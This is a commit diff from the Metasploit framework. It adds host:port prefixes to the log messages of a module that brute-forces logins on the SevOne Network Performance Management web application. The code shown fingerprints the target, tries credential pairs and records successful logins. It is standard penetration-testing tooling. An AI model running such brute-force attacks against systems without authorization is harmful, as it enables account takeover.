Skip to content

Commit 2874aea

Browse files
committed
Land rapid7#1938 - Change sevone_enum because it's an Scanner
2 parents 430511c + 0578572 commit 2874aea

File tree

1 file changed

+9
-9
lines changed

1 file changed

+9
-9
lines changed

modules/auxiliary/scanner/http/sevone_enum.rb

Lines changed: 9 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -38,11 +38,11 @@ def initialize(info={})
3838

3939
def run_host(ip)
4040
unless is_app_sevone?
41-
print_error("Application does not appear to be SevOne. Module will not continue.")
41+
print_error("#{rhost}:#{rport} - Application does not appear to be SevOne. Module will not continue.")
4242
return
4343
end
4444

45-
print_status("Starting login brute force...")
45+
print_status("#{rhost}:#{rport} - Starting login brute force...")
4646
each_user_pass do |user, pass|
4747
do_login(user, pass)
4848
end
@@ -61,7 +61,7 @@ def is_app_sevone?
6161
if (res and res.code.to_i == 200 and res.headers['Set-Cookie'].include?('SEVONE'))
6262
version_key = /Version: <strong>(.+)<\/strong>/
6363
version = res.body.scan(version_key).flatten
64-
print_good("Application confirmed to be SevOne Network Performance Management System version #{version}")
64+
print_good("#{rhost}:#{rport} - Application confirmed to be SevOne Network Performance Management System version #{version}")
6565
return true
6666
end
6767
return false
@@ -71,7 +71,7 @@ def is_app_sevone?
7171
# Brute-force the login page
7272
#
7373
def do_login(user, pass)
74-
vprint_status("Trying username:'#{user.inspect}' with password:'#{pass.inspect}'")
74+
vprint_status("#{rhost}:#{rport} - Trying username:'#{user.inspect}' with password:'#{pass.inspect}'")
7575
begin
7676
res = send_request_cgi(
7777
{
@@ -91,14 +91,14 @@ def do_login(user, pass)
9191
key = JSON.parse(res.body)["statusString"]
9292

9393
if (not res or key != "#{check_key}")
94-
vprint_error("FAILED LOGIN. '#{user.inspect}' : '#{pass.inspect}' with code #{res.code}")
94+
vprint_error("#{rhost}:#{rport} - FAILED LOGIN. '#{user.inspect}' : '#{pass.inspect}' with code #{res.code}")
9595
return :skip_pass
9696
else
97-
print_good("SUCCESSFUL LOGIN. '#{user.inspect}' : '#{pass.inspect}'")
97+
print_good("#{rhost}:#{rport} - SUCCESSFUL LOGIN. '#{user.inspect}' : '#{pass.inspect}'")
9898

9999
report_hash = {
100-
:host => datastore['RHOST'],
101-
:port => datastore['RPORT'],
100+
:host => rhost,
101+
:port => rport,
102102
:sname => 'SevOne Network Performance Management System Application',
103103
:user => user,
104104
:pass => pass,
@@ -110,7 +110,7 @@ def do_login(user, pass)
110110
end
111111

112112
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
113-
print_error("HTTP Connection Failed, Aborting")
113+
print_error("#{rhost}:#{rport} - HTTP Connection Failed, Aborting")
114114
return :abort
115115
end
116116
end

0 commit comments

Comments
 (0)